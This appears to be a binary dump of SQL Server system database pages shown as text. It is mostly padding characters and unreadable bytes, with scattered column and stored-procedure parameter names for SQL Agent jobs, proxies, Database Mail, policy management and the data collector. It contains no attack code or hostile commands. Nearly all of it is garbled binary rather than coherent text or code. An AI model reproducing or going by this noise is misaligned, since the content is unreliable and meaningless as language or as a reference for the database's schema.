!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!xP
p
L
(j


z
8lV
(
				X	0		hLPT*vLxL$pT0~Zd8h*

2
V
`)	M!d<P6u\{Btransaction_sequence_num6X{@id6X{@name60b{*@conv_handle60b{6@message_type_name60b{4@xml_message_body6Zl|@lang6Zl| @msgnum6Zl|"@msgtext6Zl|"@replace6Zl|$@severity6Zl|$@with_log6vO|@name6vO|$@proxy_id6vO|(@proxy_name6vO|0@subsystem_name6|&commit_csn6|&commit_lbn6|(commit_time6|$commit_ts6|"dbfragid6| xdes_id6i|:@conversation_handle6i|*@mailitem_id6i|6@message_type_name6i|(@profile_id6i|>@service_contract_name6}@lang6} @msgnum6C}$@proxy_id6C}(@proxy_name6x}$item_guid6x},oplsn_bOffset6x}*oplsn_fseqno6x}*oplsn_slotid6x}"table_id6}:@conversation_handle6}6@message_type_name6}>@service_contract_name6̴~@error67~$@proxy_id67~(@proxy_name67~,@subsystem_id67~0@subsystem_name6~2@receive_timeout6~B@distributed_job_history6~,@end_run_date6~	,@end_run_time6~ @job_id6~$@job_name6~2@minimum_retries6~
<@minimum_run_duration6~@mode6~
,@oldest_first6~$@order_by6~(@run_status6~ @server6~0@sql_message_id6~,@sql_severity6~0@start_run_date6~0@start_run_time6~"@step_id6/+6@fixed_server_role6/+(@login_name6/+&@msdb_role6/+$@proxy_id6/+(@proxy_name6*@attachments6<@exclude_query_output60@temp_table_uid6> @job_id6>0@job_id_as_char6X{*@description6X{(@createdate6X{$@folderid6X{*@packagedata6X{.@packageformat6X{*@packagetype6X{	$@vermajor6X{
$@verminor6X{$@verbuild6X{*@vercomments6X{
@verid6?||@name6?||$@folderid6x}0@parentfolderid6x}@name6x}$@folderid6Č~$@folderid6Č~@name6@name6$@folderid6$@readrole6&@writerole6ro|8management_facet_id6ro|&event_name6ro|(target_type6ro|4target_type_alias6K*condition_id6Kname6K*date_created6K(description6K&created_by6K(modified_by6K,date_modified6K"facet_id6K	&expression6K
4is_name_condition6K"obj_name6K$is_system6g:|@value6$.}@value6]"~@name6]"~@value]|l~6S{"dac_name6S{Bdac_server_instance_name6S{Lis_volume_space_over_utilized6S{Nis_volume_space_under_utilized6S{Xis_computer_processor_over_utilized6S{Zis_computer_processor_under_utilized6S{His_file_space_over_utilized6S{Jis_file_space_under_utilized6S{	Nis_dac_processor_over_utilized6S{
Pis_dac_processor_under_utilized6S{:is_policy_overridden6S{&set_number6S{
0processing_time!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pF,6d>zP


v
TT
$
			x	P	,		vR2pf6
6b,Hd|P,f>

b>RrN2jb6.^v.|~H
$


l
~,V`gk)|N,6'4schema_collection6'8upload_package_name61R,@allow_create61R*@description61R @job_id61R(@msx_job_id61R@name61R"@plan_id61R*@schedule_id61R(@subplan_id6F8@clear_downloadlist6F0@post_defection6F*@server_name6UF"@plan_id6Oj @Action6Oj&@LocalTime6Oj$@Location6Oj(@NTUserName6Oj,@PollInterval6Oj(@ServerName6Oj8@TimeZoneAdjustment6Oj*@TSX_Version64z:"@plan_id64z:(@subplan_id6m.@name6L@alert_replace_runtime_tokens6(@auto_start62@cmdexec_account68@cpu_poller_enabled6<@databasemail_profile6.@email_profile6F@email_save_in_sent_folder62@error_recipient6.@errorlog_file68@errorlogging_level6
2@host_login_name6:@host_login_password66@idle_cpu_duration64@idle_cpu_percent6
<@job_shutdown_timeout6:@jobhistory_max_rows6J@jobhistory_max_rows_per_job6	6@local_host_server6.@login_timeout66@monitor_autostart6'	@upload_package_folderid6A$policy_id6Aname6A*condition_id6A4root_condition_id6A*date_created6A.execution_mode6A6policy_category_id6A*schedule_uid6A	(description6A
$help_text6A$help_link6A,object_set_id6A
&is_enabled6Ajob_id6A&created_by6A(modified_by6A,date_modified6A$is_system6}7.@database_name6[.@database_name6[$@new_name6.@database_name6$@readonly6(&@action_id6(*@instance_id6(*@action_type6(2@dac_object_type6(.@action_status6(B@dac_object_name_pretran6(D@dac_object_name_posttran6(&@sqlscript6(	,@error_string6S-r6rollup_object_type6S-r(target_type6S-r,resource_type6S-r2utilization_type6S-r&facet_name6S-r.attribute_name6S-r,operator_type6S-r,property_name6uZ6rollup_object_type6uZ(target_type6uZ,resource_type6uZ2utilization_type6uZ&facet_name6uZ.attribute_name6uZ,operator_type6uZ,property_name6N2health_policy_id6N$policy_id6N(policy_name6N&history_id6N$detail_id6N@target_query_expression6NPtarget_query_expression_with_id6N.execution_date6N	result6)#=0@new_set_number6bG10@new_set_number6k%0@new_set_number6ԏ0@new_set_number6m$4@parameter_schema6m$:@parameter_formatter6m$>@collection_package_id6m$6@upload_package_id6ґ%8@collector_type_uid6ґ%@name6ґ%4@parameter_schema6ґ%:@parameter_formatter6ґ%>@collection_package_id6ґ%6@upload_package_id6&8@collector_type_uid6&@name6&(@parameters6A$policy_id6Aname6A*condition_id6A4root_condition_id6A*date_created6A.execution_mode6A6policy_category_id6A*schedule_uid6A	(description6A
$help_text6A$help_link6A,object_set_id6A
&is_enabled6Ajob_id6A&created_by6A(modified_by6A,date_modified6A$is_system6}7.@database_name6[.@database_name6[$@new_name6.@database_name6$@readonly6(&@action_id6(*@instance_id6(*@action_type6(2@dac_object_type6(.@action_status6(B@dac_object_name_pretran6(D@dac_object_name_posttran6(&@sqlscript6(	,@error_string6aw &@action_id6aw *@sequence_id6k!&@action_id6k!*@sequence_id6`"&@action_id65T#0@return_scripts6EYH$name6EYH$,current_value60&name60&,current_value6$'2utilization_type6$'8occurence_frequency6$'0trailing_window6S-r6rollup_object_type6S-r(target_type6S-r,resource_type6S-r2utilization_type6S-r&facet_name6S-r.attribute_name6S-r,operator_type6S-r,property_name6uZ6rollup_object_type6uZ|NX$Jv:\

p

B
 nJp@LrD:ll@ 
Z		
	L
n

	F
t	&0	b2~HX*jB"`8S)~L46	'-4source_length_max6	'-4source_length_min6	'-0source_nullable6	'-:source_precision_max6	'-:source_precision_min6	'-
2source_scale_max6	'-	2source_scale_min6	'-(source_type6	'-.source_version6G-8@collector_type_uid6G-@name6-B@distributed_job_history6-,@end_run_date6-	,@end_run_time6- @job_id6-$@job_name6-2@minimum_retries6-
<@minimum_run_duration6-@mode6-
,@oldest_first6-$@order_by6-(@run_status6- @server6-0@sql_message_id6-,@sql_severity6-0@start_run_date6-0@start_run_time6-"@step_id6;.8@collection_item_id6;.@name6-urn6-0powershell_path6-0processing_time6-&batch_time6-:server_instance_name6-&parent_urn6-$Collation6-6CompatibilityLevel6-	&CreateDate6-
4EncryptionEnabled6-Name6-,RecoveryModel6-
(Trustworthy6-state6U-<total_utility_storage6U-:total_utilized_space6ݐ.0collection_time6ݐ.&AuditLevel6ݐ.0BackupDirectory6ݐ.<BrowserServiceAccount6ݐ.2BrowserStartMode6ݐ.	<BuildClrVersionString6ݐ.
(BuildNumber6ݐ.$Collation6ݐ.(CollationID6ݐ.
0ComparisonStyle6ݐ.HComputerNamePhysicalNetBIOS6ݐ.(DefaultFile6ݐ.&DefaultLog6ݐ. Edition6ݐ.,EngineEdition6ݐ.*ErrorLogPath6ݐ.8FilestreamShareName6ݐ.:InstallDataDirectory6ݐ.>InstallSharedDirectory6ݐ.*InstanceName6ݐ.0IsCaseSensitive6ݐ.(IsClustered6ݐ.8IsFullTextInstalled6ݐ.*IsSingleUser6ݐ."Language6ݐ.(MailProfile6ݐ.0MasterDBLogPath6ݐ.*MasterDBPath6ݐ. *MaxPrecision6ݐ.!Name6ݐ."4NamedPipesEnabled6ݐ.# NetName6ݐ.$2NumberOfLogFiles6ݐ.%$OSVersion6ݐ.&(PerfMonMode6ݐ.'.PhysicalMemory6ݐ.("Platform @job_id652$@job_name652>@show_last_run_details6_2$agent_exe6E $0(@parameters6~D18@collection_item_id6~D1@name6~D1$@new_name6~D1&@frequency6~D1(@parameters6h28@collection_item_id6h2@name6-urn6-0powershell_path6-0processing_time6-&batch_time6-:server_instance_name6-&parent_urn6-$Collation6-6CompatibilityLevel6-	&CreateDate6-
4EncryptionEnabled6-Name6-,RecoveryModel6-
(Trustworthy6-state6.urn6.0powershell_path6.0processing_time6.&batch_time6.:server_instance_name6.,database_name6.&parent_urn6.Name6/urn6/0powershell_path6/0processing_time6/&batch_time6/:server_instance_name6/,database_name6/.filegroup_name6/&parent_urn6/	:physical_server_name6/
(volume_name6/2volume_device_id6/Growth6/
&GrowthType6/ MaxSize6/Name6/Size6/$UsedSpace6/"FileName6/0VolumeFreeSpace6/0available_space6*00urn6*000powershell_path6*000processing_time6*00&batch_time6*00:server_instance_name6*00,database_name6*00&parent_urn6*00:physical_server_name6*00	(volume_name6*00
2volume_device_id6*00Growth6*00&GrowthType6*00
 MaxSize6*00Name6*00Size6*00$UsedSpace6*00"FileName6*000VolumeFreeSpace6*000available_space6cT10processing_time6cT12aggregation_type6cT1(object_type6cT1:physical_server_name6cT1:server_instance_name6cT1,database_name6cT1Lpercent_total_cpu_utilization6U-<total_utility_storage6U-:total_utilized_space6ݐ.urn6ݐ.0powershell_path6ݐ.0processing_time6ݐ.0collection_time6ݐ.&AuditLevel6ݐ.0BackupDirectory6ݐ.<BrowserServiceAccount6ݐ.2BrowserStartMode6ݐ.	<BuildClrVersionString6ݐ.
(BuildNumber6ݐ.$Collation6ݐ.(CollationID6ݐ.
0ComparisonStyle6ݐ.HComputerNamePhysicalNetBIOS6ݐ.(DefaultFile6ݐ.&DefaultLog6ݐ. Edition6ݐ.d@


v
L

pHv>


z
2

^			R	 	X6zZ2X4zJx^*$$^&l2`b)
IRx6p@time6ip*@description6ip@name6gq(@is_default6gq,@principal_id6gq0@principal_name6gq(@profile_id6gq,@profile_name6ݜq.@operator_name6q<@name_of_id_parameter6q@@name_of_name_parameter6q$@proxy_id6q(@proxy_name6[r,@principal_id6[r0@principal_name6[r(@profile_id6[r,@profile_name6 r<@name_of_id_parameter6 r@@name_of_name_parameter6 r*@operator_id6 r.@operator_name6JrN@allow_only_windows_credential6Jr.@credential_id6Jr2@credential_name6Jr<@name_of_id_parameter6Jr@@name_of_name_parameter6s"computer6s$databytes6s
"datacode6s	 endtime6sevent6s(executionid6sid6s message6s"operator6ssource6s"sourceid6s$starttime6/Ps,@principal_id6/Ps0@principal_name6/Ps(@profile_id6/Ps,@profile_name6Y&s@body6Y&s4@file_attachments6Y&s@id6Y&s.@mail_database6Y&s@name6Y&s,@profile_name6Y&s"@subject60sJ@syssubsytems_refresh_needed6h@Dt(@account_id6h@Dt*@description6h@Dt(@event_type6h@Dt*@mailitem_id6h@Dt(@process_id6Jyt$@alert_id6Jyt(@alert_name6Jyt:@notification_method6Jyt*@operator_id6Jyt.@operator_name6Tt<@name_of_id_parameter6Tt@@name_of_name_parameter6Tt,@subsystem_id6Tt0@subsystem_name6wZu$@computer6wZu
&@databytes6wZu	$@datacode6wZu"@endtime6wZu@event6wZu*@executionid6wZu"@message6wZu$@operator6wZu @source6wZu$@sourceid6wZu&@starttime6nmu(@alert_name6nmu:@notification_method6nmu.@operator_name6xu6@fixed_server_role6xu@flags6xu(@login_name6xu&@msdb_role6xu@name6xu@sid6~u$@folderid6av(@alert_name6av:@notification_method6av.@operator_name6.v*@description6.v"@enabled6.v$@proxy_id6.v(@proxy_name6ip&@parent_id6ip*@server_type6ip2@server_group_id6q@name6q2@server_group_id6q*@server_name6q*@description6q*@server_type6q&@server_id6r2@server_group_id6,s&@server_id6MPt2@server_group_id6MPt.@new_parent_id6tu&@server_id6tu.@new_parent_id6v2@server_group_id6v*@descriptionxټq6xټq2@event_type_name6r$policy_id6r(synchronous6r&event_data6#Ft(@event_data6#Ft*@synchronous6vstatus6v"priority6v,queuing_order6v<conversation_group_id6v8conversation_handle6v@message_sequence_number6v&message_id6v0message_type_id6v	&service_id6v
8service_contract_id6v&validation6v,next_fragment6v
,fragment_size6v0fragment_bitmap6v8binary_message_body6v:message_enqueue_time6ps(object_type6psurn6ps,property_name6ps.property_value6ps:server_instance_name6ps:physical_server_name6;dt.parameter_name6;dt0parameter_value62`Xu(object_type62`Xu$sfc_query!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0V22^|X>~~V2



Z
,
`<fBJ|

j
4<

			`d	:		$vT(vz&RJ"b@ 
`>b|@NxhDhZnF~|`
"KOvE5'_'Dj3'_'Dj3'_'Dj3'_'Dj3'_'Dj3'_'Dj3'Dj3'}'_'Dj3'E;''Dj3''Dj3'G=`'0b{''Dj3'G=`'Dj3'HU'Dj3'HU''.'`/''.'`/''.'`/'X1'}v2'40,)5,)'7,)pp8,)5,)'7,)7L7,)pp8,);,)5,)7L7,)pp8,);,5,5,,
,	,
-/Q./>0rU>0tOgb1rU&m1~x&m1O&m1t&m1q&m1.v&m1~x&m1	sy&m1KR[{&m1vO|&m1C}&m17~&m1O&m1t&m1q&m1.v&m1gw&m1	sy&m1vO|&m1gw&m1	sy&m1KR[{&m1vO|&m1C}&m17~&m1gw&m1	sy&m1KR[{&m1vO|&m1gw&m1	sy&m1vO|&m1gw&m1	sy&m1vO|&m1gw&m1	sy&m1KR[{_20s_2O_2L_2ϓ4_2Tt_2KR[{_2vO|_2O_2L_2ϓ4_2|6_2Tt_2KR[{_2vO|_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2ϓ4_2	ϓ4Dj3(2;7Dj3}^4Dj3R5Dj3
G6Dj3u}FDj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3	}^4Dj3	R5Dj3	
G6Dj3
}^4Dj3
R5Dj3

G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3
}^4Dj3
R5Dj3

G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3(2;7Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3(2;7Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6Dj3}^4Dj3R5Dj3
G6>07\>0BNdaS,G-aS,;.aS,;.;.~D1aS,~D1aS,~D1aS,~D1E $0~D1;.3h23aS,3aS,3aS,)3aS,)3aS,
B7aS,
B7b1cf?aS,baS,b>07,7,.7,.3q53q53q53
q53Ux93T<39I=39I=3Y1?3Y1?3Y1?3
Y1?3.DR3.DR3
.DR3XR8S3XR8S3
XR8S3v,T3v,T3
v,T3ʚ U3ʚ U3
ʚ U3 tZ3Y[3Y[3!s3!s3#Ft3#Ft3#Ft3#Ft3#Ft3
#Ft33>0AA)(=&m1G&m1yI>0yI>0f&bK>0JVL)(Q>0|3/3/3S3ƻ&3ƻ&3'3'rna2U3rna2U3rna2U3rna2U3rna2U3rna2U3rna2	U3rna2U3rna2U3rna2
U3rna2U3rna2U3rna2U3rna2U3rna2U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1	U39Jm1U39Jm1U39Jm1
U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1U39Jm1U3U3I4U3I4U3I4U3I4U3I4U3I4U3I4U3	I4U3I4U3I4U3I4U3I4L*=5L*=5U3=5U3=5U3=5U3=5U3=5U3=5U3=5U3	=5U3=5U3=5U3=5U3=5ݐ.V16ݐ.!V16,V16,V16,V16,V16,V16,	V16L*#&7L*#&7L*#&7,#&7,#&7,#&7,#&7,#&7,	#&7ݐ.!G8ݐ.*G8p+l9p+l9L*::L*::L*::ݐ.<ݐ.<ݐ.!<p+!=p+	!=p+
!=L*WE>L*WE>L*
WE>L*WE>L*i?L*i?L*i?ݐ.ɍ@ݐ.!ɍ@U3TU3TU3TU3TL*HL*HL*	H&y0H&y0H&y0H&y0H/H/H/H&y0)#=&y0)#=&y0)#=&y0)#=/)#=/)#=/)#=ݐ.)#=ݐ.!)#=ݐ.bG1ݐ.bG1ݐ.!bG1,bG1,bG1,bG1L*k%L*k%L*k%9Jm1k%9Jm1k%9Jm1k%ݐ.

 ݐ.!

 9Jm1

 9Jm1

 9Jm1

 )(D#							r	`	N	<	*			pt^bLP:>vdR@.
zhVD2|jXF~lZH6$&p^L:(,4|"jxfTB0tb\J8 r`NH8&PVD$X\FnJZ>2 ~lZH6,6$~D2
zhdR<@(*v.xfTB0n|jXF4"n\J8&r`'#~K<	O+1c)?K
7C)?KS@)?KA)?KB)?K7C)?KS@)?KA)?KB)?K7C)?K
S@)?K
A)?K
7C)?KS@)?KA)?K7C)?KQr`)?K>0)?KS@)?KA)?K7C)?KGO)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KS@)?KA)?K7C)?KL)?KS@)?KA)?K7C)?K~x)?KS@)?Kp7D)?K[E)?KFbcLFbcLp7DbcLp7DbcL[EbcL[EbcLp7DbcL[EbcLFbcLp7DbcL[EbcLFbcLp7DbcL[EbcLFq}_MSNq}_MGOSNtOg;PlX;P5;P9U;PshU0Q2$RU0Q{TeQN$eQL:eQ)=eQJeQ;PeQiMeQeQ&neQN$eQ`d8eQL:eQo4<eQ)=eQIeQJeQ8YkLeQ;PeQWeQ&neQ`d8eQo4<eQ)=eQIeQJeQ8YkLeQWeQeQN$eQ`d8eQIeQJeQWeQeQ`d8eQo4<eQIeQJeQ8YkLeQWeQeQ`d8eQo4<eQWeQ`d8eQo4<eQIeQ8YkLeQWeQ`d8eQo4<eQIeQ8YkLeQWeQ`d8eQo4<eQIeQ8YkLeQWeQ	`d8eQ	o4<eQ	IeQ	8YkLeQ	WeQ
`d8eQ
o4<eQ
IeQ
8YkLeQ
WeQ`d8eQo4<eQIeQ8YkLeQWeQ`d8eQo4<eQIeQ8YkLeQWeQ
`d8eQ
o4<eQ
IeQ
8YkLeQ
WeQ`d8eQo4<eQIeQ8YkLeQWeQ`d8eQo4<eQIeQ8YkLeQWeQ`d8eQo4<eQIeQ8YkLeQWeQ8YkLeQWeQo4<eQIeQWeQo4<eQIeQW:QsBR:QsBR:QsBR9UshrUVWWIWJW4wKW&nW4wKWWWIWJW4wKVMUVMUOUOUVMW~VVMW~VOW~VOW~VSN7\;PX_SNBNdW{rXW{rXW{rXW@W@W&4W&4W&4W)3W)3W
B7W
B7W9W9GO9GO:;Pcf?,MeNeNQeNQeNQeNQeNQeNQeNQeNQeN	QeN
QeNQeNQeN
QeNQW\mSW\mSI8yR\mS\mSaTI8yRUU;PdSN7,eQ7,eQ7,GO.eQ.;P.GO.eQ.;P^1GO^1eQT<eQY1?eQY1?	PQ.DR[P.DR	PQXR8S[PXR8SV+XV+XV+XV+XVOYVOYVOYV tZV tZV tZV tZVY[VY[VVVSNAAGOAA;PyISNyI;Pf&bKSNf&bK;PJVLSNJVLnJMJ2OnJMJ2OnJM&PnJM&PnJM&PnJMQnJMQnJMQnJM#RnJM#RVEYVEY.HSiZ.HSiZ.HSiZ.HSiZ.HSiZ.HS	iZ.HS
iZ.HS;dt#R9{#R|W|SN|GO|GO3}ΞV_oZΞV_oZΞV_oZΞV_oZ>Rc[>Rc[>Rc[>Rc[>Rc[>Rc[dM?^dM?^dM?^dM?^dM?^dM?^dM?^dM?^dMHdMHdMHdMHdMHdMHdMHdMH>RbG1>RbG1>RbG1>RbG1>RbG1>RbG1dMk%dMk%dMk%dMk%dMk%ΞVk%ΞVk%ΞVk%>Rk%>Rk%>Rk%>Rk%ΞV

 ΞV

 ΞV

 >R

 >R

 >R

 >R

 dM!dM!ΞV!ΞV!>R!>R!;P "eQ "eQ ";sN ";PD#-IVc%Qc%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!tp^~L:(D l

2Z
zhVvn\FJ48"

,>^L@:.(
bP

t
b
P
>
,


xfTB0|jXF4"







n
\
J
8
&


							r	`	N	<	*			vdR@.
zhVN*D2 ~lZH6$*&6|z`hVr<jvdR@.
$HXp^f0xTB~dDlZ2H 6$pRL:(tbP>,xfTB0|jXF4"n\J8&r`!'K

